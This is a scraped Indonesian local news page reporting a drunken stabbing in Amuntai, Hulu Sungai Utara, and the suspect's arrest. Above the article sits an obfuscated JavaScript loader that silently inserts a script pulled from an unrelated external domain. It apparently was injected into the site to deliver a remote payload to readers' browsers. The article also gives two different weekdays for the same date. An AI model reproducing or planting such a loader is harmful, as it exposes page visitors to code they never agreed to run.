(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Seorang warga Desa Kaludan RT.03, Kecamatan Banjang Kabupaten Hulu Sungai Utara (HSU) nyaris meregang nyawa usai ditusuk pemuda saat terjadi cekcok, Jum’at (23/1/2020) sekitar pukul 23.40 Wita. Akibatnya korban menderita luka tusuk dan harus dilarikan ke rumah sakit setempat.
 Zainal Abidin (35) warga Desa Kaludan RT 03, Kecamatan Banjang ini harus mendapatkan perawatan serius di RSUD Pambalah Batung Amuntai, Kabupaten HSU usai ditusuk Yudi alias Aning (23) yang merupakan warga Desa Guntung RT. 03 Kecamatan Amuntai Utara.
Akibatnya korban menderita sejumlah luka tusuk di tubuhnya. Kapolsek Amuntai Kota Ipda Syaifullah kepada kanalkalimantan.com, Sabtu (23/1/2020) membenarkan adanya kejadian tersebut.
Dari informasinya, kejadian bermula ketika korban Zainal menegur tersangka Aning sedang ribut-ribut di pemukiman warga di kawasan Gg Attaqwa Jl H Abdul Hamidan, Kecamatan Amuntai. Korban lantas mengur pelaku yang dinilai mengganggu kenyamanan warga malam itu.
Pelaku yang dalam keadaan mabuk merasa tersinggung dan tidak terima atas teguran itu. Seketika ia langsung mengeluarkan senjata tajam berupa pisau dan menusukkan berkali kali ke arah korban Zainal yang meakibatkan luka tusuk di bagian perut, dada tengah, pinggang kanan di bawah ketiak dan di dada atas sebelah kiri.
“Saat itu, tersangka teriak-teriak dalam keadaan mabuk kemudian ditegur oleh korban jangan ribut di sini Namun setelah korban berpaling langsung ditusuk beberapa kali,” jelas Kapolsek Ipda Syaifullah.
Lebih jauh merespon laporan atas kejadian tersebut, polisi dapat mengamankan tersangka beserta barang bukti yakni sebilah senjata tajam jenis pisau dan satu lembar celana jeans warna biru yang ada bercak darah. Tersangka pun digiring kekantor Polsek Amuntai Kota untuk dilakukan proses lebih Lanjut.
Menurut Kapolsek tersangka dan korban bahkan tidak saling kenal. Ia menceritakan bahwa tersangka berniat menemui temannya yang berada di Gg Attaqwa, namun sesampainya di TKP , tersangka ribut-ribut dalam keadaan mabuk.
Meski tidak sampai merenggut nyawa, namun tersangka harus menjalani proses hukum yangmana bakal disangkakan Pasal 351 KUHP tentang penganiayaan.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.